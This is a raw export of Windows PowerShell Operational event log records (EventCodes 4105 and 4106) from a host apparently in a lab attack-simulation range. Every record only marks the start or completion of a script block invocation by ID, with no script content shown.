LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039561
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039560
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039543
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039537
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039515
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039513
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039512
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
